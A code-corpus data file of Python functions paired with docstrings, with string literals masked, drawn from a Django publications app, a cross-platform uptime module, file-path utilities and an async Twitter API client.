{"signature": "def populate(publications):", "body": "customlinks = CustomLink.objects.filter(publication__in=publications)<EOL>customfiles = CustomFile.objects.filter(publication__in=publications)<EOL>publications_ = {}<EOL>for publication in publications:<EOL><INDENT>publication.links = []<EOL>publication.files = []<EOL>publications_[publication.id] = publication<EOL><DEDENT>for link in customlinks:<EOL><INDENT>publications_[link.publication_id].links.append(link)<EOL><DEDENT>for file in customfiles:<EOL><INDENT>publications_[file.publication_id].files.append(file)<EOL><DEDENT>", "docstring": "Load custom links and files from database and attach to publications.", "id": "f4693:m0"}
{"signature": "def unapi(request):", "body": "id = request.GET.get('<STR_LIT:id>')<EOL>format = request.GET.get('<STR_LIT>')<EOL>if format is not None:<EOL><INDENT>try:<EOL><INDENT>publications = Publication.objects.filter(pk=int(id))<EOL>if not publications:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>return HttpResponse('<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']),<EOL>content_type=\"<STR_LIT>\",<EOL>status=<NUM_LIT>)<EOL><DEDENT>if format == '<STR_LIT>':<EOL><INDENT>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': publications[<NUM_LIT:0>]<EOL>},<EOL>content_type='<STR_LIT>')<EOL><DEDENT>if format == '<STR_LIT>':<EOL><INDENT>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': publications<EOL>},<EOL>content_type='<STR_LIT>')<EOL><DEDENT>if format == '<STR_LIT>':<EOL><INDENT>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': publications<EOL>},<EOL>content_type='<STR_LIT>')<EOL><DEDENT>return HttpResponse('<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']),<EOL>content_type=\"<STR_LIT>\",<EOL>status=<NUM_LIT>)<EOL><DEDENT>if id is not None:<EOL><INDENT>return HttpResponse('<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(id),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']), content_type=\"<STR_LIT>\")<EOL><DEDENT>return HttpResponse('<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']), content_type=\"<STR_LIT>\")<EOL>", "docstring": "This view implements unAPI 1.0 (see http://unapi.info).", "id": "f4699:m0"}
{"signature": "def run_suite(suite):", "body": "sys.stdout.write('<STR_LIT>' % tests.countTestCases())<EOL>res = unittest.TestResult()<EOL>suite.run(res)<EOL>if res.wasSuccessful():<EOL><INDENT>sys.stdout.write('<STR_LIT>')<EOL>return<EOL><DEDENT>sys.stdout.write('<STR_LIT:\\n>')<EOL>for problems, kind in ((res.errors, '<STR_LIT:error>'),<EOL>(res.failures, '<STR_LIT>')):<EOL><INDENT>if len(problems):<EOL><INDENT>head = '<STR_LIT>' % (len(problems),<EOL>kind,<EOL>'<STR_LIT:s>' if len(problems) != <NUM_LIT:1> else '<STR_LIT>')<EOL>sys.stdout.write('<STR_LIT>' %<EOL>(head, '<STR_LIT>' * len(head)))<EOL><DEDENT>for problem in problems:<EOL><INDENT>func = problem[<NUM_LIT:0>]._testMethodName[<NUM_LIT:5>:]<EOL>environ = '<STR_LIT>' if isinstance(problem[<NUM_LIT:0>],<EOL>BrokenCtypesTest)else '<STR_LIT>'<EOL>sys.stdout.write(<EOL>'<STR_LIT>' %<EOL>(func, environ, '<STR_LIT:\\n>'.join(map(lambda s: '<STR_LIT:U+0020>' + s,<EOL>problem[<NUM_LIT:1>].splitlines())))<EOL>)<EOL><DEDENT><DEDENT>sys.stdout.write('<STR_LIT>' %<EOL>(res.testsRun - len(res.failures) - len(res.errors)))<EOL>", "docstring": "unittest is basically a disaster, so let's do this ourselves.", "id": "f4702:m0"}
{"signature": "def tearDown(self):", "body": "imp.reload(uptime)<EOL>", "docstring": "__boottime affects how boottime() and its helpers work, and it may be\nset as a side-effect by any function. To be on the safe side, just\nreload the whole module every time.", "id": "f4702:c0:m0"}
{"signature": "def _uptime_linux():", "body": "<EOL>try:<EOL><INDENT>f = open('<STR_LIT>', '<STR_LIT:r>')<EOL>up = float(f.readline().split()[<NUM_LIT:0>])<EOL>f.close()<EOL>return up<EOL><DEDENT>except (IOError, ValueError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>libc = ctypes.CDLL('<STR_LIT>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>return None<EOL><DEDENT>except OSError:<EOL><INDENT>try:<EOL><INDENT>libc = ctypes.CDLL('<STR_LIT>')<EOL><DEDENT>except OSError:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>if not hasattr(libc, '<STR_LIT>'):<EOL><INDENT>return None<EOL><DEDENT>buf = ctypes.create_string_buffer(<NUM_LIT>) <EOL>if libc.sysinfo(buf) < <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>up = struct.unpack_from('<STR_LIT>', buf.raw)[<NUM_LIT:0>]<EOL>if up < <NUM_LIT:0>:<EOL><INDENT>up = None<EOL><DEDENT>return up<EOL>", "docstring": "Returns uptime in seconds or None, on Linux.", "id": "f4705:m0"}
{"signature": "def _boottime_linux():", "body": "global __boottime<EOL>try:<EOL><INDENT>f = open('<STR_LIT>', '<STR_LIT:r>')<EOL>for line in f:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>__boottime = int(line.split()[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>if datetime is None:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>return datetime.fromtimestamp(__boottime)<EOL><DEDENT>except (IOError, IndexError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "A way to figure out the boot time directly on Linux.", "id": "f4705:m1"}
{"signature": "def _uptime_amiga():", "body": "global __boottime<EOL>try:<EOL><INDENT>__boottime = os.stat('<STR_LIT>').st_ctime<EOL>return time.time() - __boottime<EOL><DEDENT>except (NameError, OSError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns uptime in seconds or None, on AmigaOS.", "id": "f4705:m2"}
{"signature": "def _uptime_beos():", "body": "try:<EOL><INDENT>libroot = ctypes.CDLL('<STR_LIT>')<EOL><DEDENT>except (AttributeError, OSError):<EOL><INDENT>return None<EOL><DEDENT>if not hasattr(libroot, '<STR_LIT>'):<EOL><INDENT>return None<EOL><DEDENT>libroot.system_time.restype = ctypes.c_int64<EOL>return libroot.system_time() / <NUM_LIT><EOL>", "docstring": "Returns uptime in seconds on None, on BeOS/Haiku.", "id": "f4705:m3"}
{"signature": "def _uptime_bsd():", "body": "global __boottime<EOL>try:<EOL><INDENT>libc = ctypes.CDLL('<STR_LIT>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>return None<EOL><DEDENT>except OSError:<EOL><INDENT>try:<EOL><INDENT>libc = ctypes.CDLL('<STR_LIT>')<EOL><DEDENT>except OSError:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>if not hasattr(libc, '<STR_LIT>'):<EOL><INDENT>return None<EOL><DEDENT>sz = ctypes.c_uint(<NUM_LIT:0>)<EOL>libc.sysctlbyname('<STR_LIT>', None, ctypes.byref(sz), None, <NUM_LIT:0>)<EOL>if sz.value != struct.calcsize('<STR_LIT>'):<EOL><INDENT>return None<EOL><DEDENT>buf = ctypes.create_string_buffer(sz.value)<EOL>libc.sysctlbyname('<STR_LIT>', buf, ctypes.byref(sz), None, <NUM_LIT:0>)<EOL>sec, usec = struct.unpack('<STR_LIT>', buf.raw)<EOL>if usec > <NUM_LIT>:<EOL><INDENT>usec = <NUM_LIT:0.><EOL><DEDENT>__boottime = sec + usec / <NUM_LIT><EOL>up = time.time() - __boottime<EOL>if up < <NUM_LIT:0>:<EOL><INDENT>up = None<EOL><DEDENT>return up<EOL>", "docstring": "Returns uptime in seconds or None, on BSD (including OS X).", "id": "f4705:m4"}
{"signature": "def _uptime_mac():", "body": "try:<EOL><INDENT>return MacOS.GetTicks() / <NUM_LIT><EOL><DEDENT>except NameError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns uptime in seconds or None, on Mac OS.", "id": "f4705:m5"}
{"signature": "def _uptime_minix():", "body": "try:<EOL><INDENT>f = open('<STR_LIT>', '<STR_LIT:r>')<EOL>up = float(f.read())<EOL>f.close()<EOL>return up<EOL><DEDENT>except (IOError, ValueError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns uptime in seconds or None, on MINIX.", "id": "f4705:m6"}
{"signature": "def _uptime_plan9():", "body": "<EOL>try:<EOL><INDENT>f = open('<STR_LIT>', '<STR_LIT:r>')<EOL>s, ns, ct, cf = f.read().split()<EOL>f.close()<EOL>return float(ct) / float(cf)<EOL><DEDENT>except (IOError, ValueError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns uptime in seconds or None, on Plan 9.", "id": "f4705:m7"}
{"signature": "def _uptime_riscos():", "body": "try:<EOL><INDENT>up = swi.swi('<STR_LIT>', '<STR_LIT>')<EOL>if up < <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return up / <NUM_LIT><EOL><DEDENT>except NameError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns uptime in seconds or None, on RISC OS.", "id": "f4705:m8"}
{"signature": "def _uptime_solaris():", "body": "global __boottime<EOL>try:<EOL><INDENT>kstat = ctypes.CDLL('<STR_LIT>')<EOL><DEDENT>except (AttributeError, OSError):<EOL><INDENT>return None<EOL><DEDENT>KSTAT_STRLEN = <NUM_LIT>   <EOL>class anon_union(ctypes.Union):<EOL><INDENT>_fields_ = [('<STR_LIT:c>', ctypes.c_char * <NUM_LIT:16>),<EOL>('<STR_LIT:time>', ctypes.c_int)]<EOL><DEDENT>class kstat_named_t(ctypes.Structure):<EOL><INDENT>_fields_ = [('<STR_LIT:name>', ctypes.c_char * KSTAT_STRLEN),<EOL>('<STR_LIT>', ctypes.c_char),<EOL>('<STR_LIT:value>', anon_union)]<EOL><DEDENT>kstat.kstat_open.restype = ctypes.c_void_p<EOL>kstat.kstat_lookup.restype = ctypes.c_void_p<EOL>kstat.kstat_lookup.argtypes = [ctypes.c_void_p,<EOL>ctypes.c_char_p,<EOL>ctypes.c_int,<EOL>ctypes.c_char_p]<EOL>kstat.kstat_read.restype = ctypes.c_int<EOL>kstat.kstat_read.argtypes = [ctypes.c_void_p,<EOL>ctypes.c_void_p,<EOL>ctypes.c_void_p]<EOL>kstat.kstat_data_lookup.restype = ctypes.POINTER(kstat_named_t)<EOL>kstat.kstat_data_lookup.argtypes = [ctypes.c_void_p,<EOL>ctypes.c_char_p]<EOL>kc = kstat.kstat_open()<EOL>if not kc:<EOL><INDENT>return None<EOL><DEDENT>ksp = kstat.kstat_lookup(kc, '<STR_LIT>', <NUM_LIT:0>, '<STR_LIT>')<EOL>if ksp and kstat.kstat_read(kc, ksp, None) != -<NUM_LIT:1>:<EOL><INDENT>data = kstat.kstat_data_lookup(ksp, '<STR_LIT>')<EOL>if data:<EOL><INDENT>__boottime = data.contents.value.time<EOL><DEDENT><DEDENT>kstat.kstat_close(kc)<EOL>if __boottime is not None:<EOL><INDENT>return time.time() - __boottime<EOL><DEDENT>return None<EOL>", "docstring": "Returns uptime in seconds or None, on Solaris.", "id": "f4705:m9"}
{"signature": "def _uptime_syllable():", "body": "global __boottime<EOL>try:<EOL><INDENT>__boottime = os.stat('<STR_LIT>').st_mtime<EOL>return time.time() - __boottime<EOL><DEDENT>except (NameError, OSError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns uptime in seconds or None, on Syllable.", "id": "f4705:m10"}
{"signature": "def _uptime_windows():", "body": "if hasattr(ctypes, '<STR_LIT>') and hasattr(ctypes.windll, '<STR_LIT>'):<EOL><INDENT>lib = ctypes.windll.kernel32<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>lib = ctypes.CDLL('<STR_LIT>')<EOL><DEDENT>except (AttributeError, OSError):<EOL><INDENT>return None<EOL><DEDENT><DEDENT>if hasattr(lib, '<STR_LIT>'):<EOL><INDENT>lib.GetTickCount64.restype = ctypes.c_uint64<EOL>return lib.GetTickCount64() / <NUM_LIT><EOL><DEDENT>if hasattr(lib, '<STR_LIT>'):<EOL><INDENT>lib.GetTickCount.restype = ctypes.c_uint32<EOL>return lib.GetTickCount() / <NUM_LIT><EOL><DEDENT>return None<EOL>", "docstring": "Returns uptime in seconds or None, on Windows. Warning: may return\nincorrect answers after 49.7 days on versions older than Vista.", "id": "f4705:m11"}
{"signature": "def uptime():", "body": "if __boottime is not None:<EOL><INDENT>return time.time() - __boottime<EOL><DEDENT>return {'<STR_LIT>': _uptime_amiga,<EOL>'<STR_LIT>': _uptime_amiga,<EOL>'<STR_LIT>': _uptime_beos,<EOL>'<STR_LIT>': _uptime_linux,<EOL>'<STR_LIT>': _uptime_osx,<EOL>'<STR_LIT>': _uptime_beos,<EOL>'<STR_LIT>': _uptime_linux,<EOL>'<STR_LIT>': _uptime_linux,<EOL>'<STR_LIT>': _uptime_linux,<EOL>'<STR_LIT>': _uptime_mac,<EOL>'<STR_LIT>': _uptime_minix,<EOL>'<STR_LIT>': _uptime_riscos,<EOL>'<STR_LIT>': _uptime_solaris,<EOL>'<STR_LIT>': _uptime_syllable,<EOL>'<STR_LIT:win32>': _uptime_windows,<EOL>'<STR_LIT>': _uptime_windows}.get(sys.platform, _uptime_bsd)() or_uptime_bsd() or _uptime_plan9() or _uptime_linux() or_uptime_windows() or _uptime_solaris() or _uptime_beos() or_uptime_amiga() or _uptime_riscos() or _uptime_posix() or_uptime_syllable() or _uptime_mac() or _uptime_osx()<EOL>", "docstring": "Returns uptime in seconds if even remotely possible, or None if not.", "id": "f4705:m12"}
{"signature": "def boottime():", "body": "global __boottime<EOL>if __boottime is None:<EOL><INDENT>up = uptime()<EOL>if up is None:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>if __boottime is None:<EOL><INDENT>_boottime_linux()<EOL><DEDENT>if datetime is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return datetime.fromtimestamp(__boottime or time.time() - up)<EOL>", "docstring": "Returns boot time if remotely possible, or None if not.", "id": "f4705:m13"}
{"signature": "def get_unique_pathname(path, root='<STR_LIT>'):", "body": "path = os.path.join(root, path)<EOL>potentialPaths = itertools.chain((path,), __get_numbered_paths(path))<EOL>potentialPaths = six.moves.filterfalse(os.path.exists, potentialPaths)<EOL>return next(potentialPaths)<EOL>", "docstring": "Return a pathname possibly with a number appended to it so that it is\n    unique in the directory.", "id": "f4708:m0"}
{"signature": "def __get_numbered_paths(filepath):", "body": "format = '<STR_LIT>' % splitext_files_only(filepath)<EOL>return map(lambda n: format % n, itertools.count(<NUM_LIT:1>))<EOL>", "docstring": "Append numbers in sequential order to the filename or folder name\n    Numbers should be appended before the extension on a filename.", "id": "f4708:m1"}
{"signature": "def splitext_files_only(filepath):", "body": "return (<EOL>(filepath, '<STR_LIT>') if os.path.isdir(filepath) else os.path.splitext(filepath)<EOL>)<EOL>", "docstring": "Custom version of splitext that doesn't perform splitext on directories", "id": "f4708:m2"}
{"signature": "def set_time(filename, mod_time):", "body": "log.debug('<STR_LIT>', mod_time)<EOL>mtime = calendar.timegm(mod_time.utctimetuple())<EOL>mtime += mod_time.microsecond / <NUM_LIT><EOL>atime = os.stat(filename).st_atime<EOL>os.utime(filename, (atime, mtime))<EOL>", "docstring": "Set the modified time of a file", "id": "f4708:m3"}
{"signature": "def get_time(filename):", "body": "ts = os.stat(filename).st_mtime<EOL>return datetime.datetime.utcfromtimestamp(ts)<EOL>", "docstring": "Get the modified time for a file as a datetime instance", "id": "f4708:m4"}
{"signature": "def insert_before_extension(filename, content):", "body": "parts = list(os.path.splitext(filename))<EOL>parts[<NUM_LIT:1>:<NUM_LIT:1>] = [content]<EOL>return '<STR_LIT>'.join(parts)<EOL>", "docstring": "Given a filename and some content, insert the content just before\nthe extension.\n\n>>> insert_before_extension('pages.pdf', '-old')\n'pages-old.pdf'", "id": "f4708:m5"}
{"signature": "def recursive_glob(root, spec):", "body": "specs = (<EOL>os.path.join(dirpath, dirname, spec)<EOL>for dirpath, dirnames, filenames in os.walk(root)<EOL>for dirname in dirnames<EOL>)<EOL>return itertools.chain.from_iterable(<EOL>glob.iglob(spec)<EOL>for spec in specs<EOL>)<EOL>", "docstring": "Like iglob, but recurse directories\n\n>>> any('path.py' in result for result in recursive_glob('.', '*.py'))\nTrue\n\n>>> all(result.startswith('.') for result in recursive_glob('.', '*.py'))\nTrue\n\n>>> len(list(recursive_glob('.', '*.foo')))\n0", "id": "f4708:m6"}
{"signature": "def encode(name, system='<STR_LIT>'):", "body": "assert system == '<STR_LIT>', '<STR_LIT>'<EOL>special_characters = r'<STR_LIT>' + '<STR_LIT>'.join(map(chr, range(<NUM_LIT:32>)))<EOL>pattern = '<STR_LIT:|>'.join(map(re.escape, special_characters))<EOL>pattern = re.compile(pattern)<EOL>return pattern.sub('<STR_LIT:_>', name)<EOL>", "docstring": "Encode the name for a suitable name in the given filesystem\n>>> encode('Test :1')\n'Test _1'", "id": "f4708:m7"}
{"signature": "@contextlib.contextmanager<EOL>def tempfile_context(*args, **kwargs):", "body": "fd, filename = tempfile.mkstemp(*args, **kwargs)<EOL>os.close(fd)<EOL>try:<EOL><INDENT>yield filename<EOL><DEDENT>finally:<EOL><INDENT>os.remove(filename)<EOL><DEDENT>", "docstring": "A wrapper around tempfile.mkstemp to create the file in a context and\ndelete it after.", "id": "f4708:m8"}
{"signature": "def replace_extension(new_ext, filename):", "body": "return os.path.splitext(filename)[<NUM_LIT:0>] + new_ext<EOL>", "docstring": ">>> replace_extension('.pdf', 'myfile.doc')\n'myfile.pdf'", "id": "f4708:m9"}
{"signature": "def ExtensionReplacer(new_ext):", "body": "return functools.partial(replace_extension, new_ext)<EOL>", "docstring": "A reusable function to replace a file's extension with another\n\n>>> repl = ExtensionReplacer('.pdf')\n>>> repl('myfile.doc')\n'myfile.pdf'\n>>> repl('myfile.txt')\n'myfile.pdf'\n>>> repl('myfile')\n'myfile.pdf'", "id": "f4708:m10"}
{"signature": "def ensure_dir_exists(func):", "body": "@functools.wraps(func)<EOL>def make_if_not_present():<EOL><INDENT>dir = func()<EOL>if not os.path.isdir(dir):<EOL><INDENT>os.makedirs(dir)<EOL><DEDENT>return dir<EOL><DEDENT>return make_if_not_present<EOL>", "docstring": "wrap a function that returns a dir, making sure it exists", "id": "f4708:m11"}
{"signature": "def read_chunks(file, chunk_size=<NUM_LIT>, update_func=lambda x: None):", "body": "while(True):<EOL><INDENT>res = file.read(chunk_size)<EOL>if not res:<EOL><INDENT>break<EOL><DEDENT>update_func(len(res))<EOL>yield res<EOL><DEDENT>", "docstring": "Read file in chunks of size chunk_size (or smaller).\nIf update_func is specified, call it on every chunk with the amount\nread.", "id": "f4708:m12"}
{"signature": "def is_hidden(path):", "body": "full_path = os.path.abspath(path)<EOL>name = os.path.basename(full_path)<EOL>def no(path):<EOL><INDENT>return False<EOL><DEDENT>platform_hidden = globals().get('<STR_LIT>' + platform.system(), no)<EOL>return name.startswith('<STR_LIT:.>') or platform_hidden(full_path)<EOL>", "docstring": "Check whether a file is presumed hidden, either because\nthe pathname starts with dot or because the platform\nindicates such.", "id": "f4708:m13"}
{"signature": "@staticmethod<EOL><INDENT>def sanitize_params(method, **kwargs):<DEDENT>", "body": "<EOL>items = [(key, value) for key, value in kwargs.items()<EOL>if not key.startswith(\"<STR_LIT:_>\")]<EOL>params, skip_params = {}, False<EOL>for key, value in items:<EOL><INDENT>if hasattr(value, '<STR_LIT>') or isinstance(value, bytes):<EOL><INDENT>params[key] = value<EOL>skip_params = True<EOL><DEDENT>elif isinstance(value, bool):<EOL><INDENT>params[key] = \"<STR_LIT:true>\" if value else \"<STR_LIT:false>\"<EOL><DEDENT>elif isinstance(value, iterable):<EOL><INDENT>params[key] = \"<STR_LIT:U+002C>\".join(map(str, value))<EOL><DEDENT>elif value is None:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>params[key] = str(value)<EOL><DEDENT><DEDENT>kwargs = {key[<NUM_LIT:1>:]: value for key, value in kwargs.items()<EOL>if key.startswith(\"<STR_LIT:_>\")}<EOL>if method == \"<STR_LIT>\" and not kwargs.get('<STR_LIT:data>', None) and params:<EOL><INDENT>kwargs['<STR_LIT:data>'] = params  <EOL><DEDENT>elif not kwargs.get('<STR_LIT>', None) and params:<EOL><INDENT>kwargs['<STR_LIT>'] = params<EOL><DEDENT>return kwargs, skip_params<EOL>", "docstring": "Request params can be extracted from the ``**kwargs``\n\nArguments starting with `_` will be stripped from it, so they\ncan be used as an argument for the request\n(eg. \"_headers\" \u2192 \"headers\" in the kwargs returned by this\nfunction while \"headers\" would be inserted into the parameters\nof the request)\n\nParameters\n----------\nmethod : str\n    method to use to make the request\nkwargs : dict\n    Keywords arguments given to the request\n\nReturns\n-------\ndict\n    New requests parameters, correctly formatted", "id": "f4730:c1:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def __call__(self, **kwargs):<DEDENT>", "body": "", "docstring": "method called to make the request", "id": "f4730:c1:m3"}
{"signature": "def __init__(self, compression=True, user_agent=None, headers=None):", "body": "super().__init__()<EOL>if user_agent is None:<EOL><INDENT>self['<STR_LIT>'] = \"<STR_LIT>\" + __version__<EOL><DEDENT>else:<EOL><INDENT>self['<STR_LIT>'] = user_agent<EOL><DEDENT>if compression:<EOL><INDENT>self['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if headers is not None:<EOL><INDENT>for key, value in headers.items():<EOL><INDENT>self[key] = value<EOL><DEDENT><DEDENT>", "docstring": "Add a nice User-Agent", "id": "f4732:c0:m0"}
{"signature": "async def prepare_request(self, method, url,<EOL>headers=None,<EOL>skip_params=False,<EOL>proxy=None,<EOL>**kwargs):", "body": "if method.lower() == \"<STR_LIT>\":<EOL><INDENT>key = '<STR_LIT:data>'<EOL><DEDENT>else:<EOL><INDENT>key = '<STR_LIT>'<EOL><DEDENT>if key in kwargs and not skip_params:<EOL><INDENT>request_params = {key: kwargs.pop(key)}<EOL><DEDENT>else:<EOL><INDENT>request_params = {}<EOL><DEDENT>request_params.update(dict(method=method.upper(), url=url))<EOL>coro = self.sign(**request_params, skip_params=skip_params,<EOL>headers=headers)<EOL>request_params['<STR_LIT>'] = await utils.execute(coro)<EOL>request_params['<STR_LIT>'] = proxy<EOL>kwargs.update(request_params)<EOL>return kwargs<EOL>", "docstring": "prepare all the arguments for the request\n\nParameters\n----------\nmethod : str\n    HTTP method used by the request\nurl : str\n    The url to request\nheaders : dict, optional\n    Additionnal headers\nproxy : str\n    proxy of the request\nskip_params : bool\n    Don't use the parameters to sign the request\n\nReturns\n-------\ndict\n    Parameters of the request correctly formatted", "id": "f4732:c0:m2"}
{"signature": "def _user_headers(self, headers=None):", "body": "h = self.copy()<EOL>if headers is not None:<EOL><INDENT>keys = set(headers.keys())<EOL>if h.get('<STR_LIT>', False):<EOL><INDENT>keys -= {'<STR_LIT>'}<EOL><DEDENT>for key in keys:<EOL><INDENT>h[key] = headers[key]<EOL><DEDENT><DEDENT>return h<EOL>", "docstring": "Make sure the user doesn't override the Authorization header", "id": "f4732:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def sign(self, *args, headers=None, **kwargs):<DEDENT>", "body": "", "docstring": "sign, that is, generate the `Authorization` headers before making\na request", "id": "f4732:c0:m4"}
{"signature": "def __new__(cls, name, bases, attrs, **kwargs):", "body": "tasks = {'<STR_LIT>': set()}<EOL>for base in bases:<EOL><INDENT>if hasattr(base, '<STR_LIT>'):<EOL><INDENT>for key, value in base._tasks.items():<EOL><INDENT>tasks[key] |= value<EOL><DEDENT><DEDENT><DEDENT>for attr in attrs.values():<EOL><INDENT>if isinstance(attr, task):<EOL><INDENT>tasks['<STR_LIT>'].add(attr)<EOL><DEDENT><DEDENT>attrs['<STR_LIT>'] = tasks<EOL>attrs['<STR_LIT>'] = EventStreams()<EOL>return super().__new__(cls, name, bases, attrs)<EOL>", "docstring": "put the :class:`~peony.commands.tasks.Task`s in the right place", "id": "f4733:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _get_base_url(base_url, api, version):<DEDENT>", "body": "format_args = {}<EOL>if \"<STR_LIT>\" in base_url:<EOL><INDENT>if api == \"<STR_LIT>\":<EOL><INDENT>base_url = base_url.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>format_args['<STR_LIT>'] = api<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in base_url:<EOL><INDENT>if version == \"<STR_LIT>\":<EOL><INDENT>base_url = base_url.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>format_args['<STR_LIT:version>'] = version<EOL><DEDENT><DEDENT>return base_url.format(api=api, version=version)<EOL>", "docstring": "create the base url for the api\n\nParameters\n----------\nbase_url : str\n    format of the base_url using {api} and {version}\napi : str\n    name of the api to use\nversion : str\n    version of the api\n\nReturns\n-------\nstr\n    the base url of the api you want to use", "id": "f4733:c1:m2"}
{"signature": "def __getitem__(self, values):", "body": "defaults = None, self.api_version, self._suffix, self.base_url<EOL>keys = ['<STR_LIT>', '<STR_LIT:version>', '<STR_LIT>', '<STR_LIT>']<EOL>if isinstance(values, dict):<EOL><INDENT>values = [values.get(key, defaults[i])<EOL>for i, key in enumerate(keys)]<EOL><DEDENT>elif isinstance(values, set):<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>elif isinstance(values, str):<EOL><INDENT>values = [values, *defaults[<NUM_LIT:1>:]]<EOL><DEDENT>elif isinstance(values, tuple):<EOL><INDENT>if len(values) < len(keys):<EOL><INDENT>padding = (None,) * (len(keys) - len(values))<EOL>values += padding<EOL><DEDENT>values = [default if value is None else value<EOL>for value, default in zip(values, defaults)<EOL>if (value, default) != (None, None)]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" + values.__class__.__name__)<EOL><DEDENT>api, version, suffix, base_url = values<EOL>base_url = self._get_base_url(base_url, api, version)<EOL>if api in self.streaming_apis:<EOL><INDENT>return StreamingAPIPath([base_url], suffix=suffix, client=self)<EOL><DEDENT>else:<EOL><INDENT>return APIPath([base_url], suffix=suffix, client=self)<EOL><DEDENT>", "docstring": "Access the api you want\n\nThis permits the use of any API you could know about\n\nFor most api you only need to type\n\n>>> self[api]  # api is the api you want to access\n\nYou can specify a custom api version using the syntax\n\n>>> self[api, version]  # version is the api version as a str\n\nFor more complex requests\n\n>>> self[api, version, suffix, base_url]\n\nReturns\n-------\n.api.BaseAPIPath\n    To access an API endpoint", "id": "f4733:c1:m3"}
{"signature": "async def request(self, method, url, future,<EOL>headers=None,<EOL>session=None,<EOL>encoding=None,<EOL>**kwargs):", "body": "await self.setup<EOL>req_kwargs = await self.headers.prepare_request(<EOL>method=method,<EOL>url=url,<EOL>headers=headers,<EOL>proxy=self.proxy,<EOL>**kwargs<EOL>)<EOL>if encoding is None:<EOL><INDENT>encoding = self.encoding<EOL><DEDENT>session = session if (session is not None) else self._session<EOL>logger.debug(\"<STR_LIT>\" % req_kwargs)<EOL>async with session.request(**req_kwargs) as response:<EOL><INDENT>if response.status < <NUM_LIT>:<EOL><INDENT>data = await data_processing.read(response, self._loads,<EOL>encoding=encoding)<EOL>future.set_result(data_processing.PeonyResponse(<EOL>data=data,<EOL>headers=response.headers,<EOL>url=response.url,<EOL>request=req_kwargs<EOL>))<EOL><DEDENT>else:  <EOL><INDENT>await exceptions.throw(response, loads=self._loads,<EOL>encoding=encoding, url=url)<EOL><DEDENT><DEDENT>", "docstring": "Make requests to the REST API\n\nParameters\n----------\nfuture : asyncio.Future\n    Future used to return the response\nmethod : str\n    Method to be used by the request\nurl : str\n    URL of the resource\nheaders : .oauth.PeonyHeaders\n    Custom headers (doesn't overwrite `Authorization` headers)\nsession : aiohttp.ClientSession, optional\n    Client session used to make the request\n\nReturns\n-------\ndata.PeonyResponse\n    Response to the request", "id": "f4733:c1:m5"}
{"signature": "def stream_request(self, method, url, headers=None, _session=None,<EOL>*args, **kwargs):", "body": "return StreamResponse(<EOL>method=method,<EOL>url=url,<EOL>client=self,<EOL>headers=headers,<EOL>session=_session,<EOL>proxy=self.proxy,<EOL>**kwargs<EOL>)<EOL>", "docstring": "Make requests to the Streaming API\n\nParameters\n----------\nmethod : str\n    Method to be used by the request\nurl : str\n    URL of the resource\nheaders : dict\n    Custom headers (doesn't overwrite `Authorization` headers)\n_session : aiohttp.ClientSession, optional\n    The session to use for this specific request, the session\n    given as argument of :meth:`__init__` is used by default\n\nReturns\n-------\n.stream.StreamResponse\n    Stream context for the request", "id": "f4733:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def event_stream(cls, event_stream):<DEDENT>", "body": "cls._streams.append(event_stream)<EOL>return event_stream<EOL>", "docstring": "Decorator to attach an event stream to the class", "id": "f4733:c1:m7"}
{"signature": "def get_tasks(self):", "body": "tasks = self._get_tasks()<EOL>tasks.extend(self._streams.get_tasks(self))<EOL>return tasks<EOL>", "docstring": "Get the tasks attached to the instance\n\nReturns\n-------\nlist\n    List of tasks (:class:`asyncio.Task`)", "id": "f4733:c1:m9"}
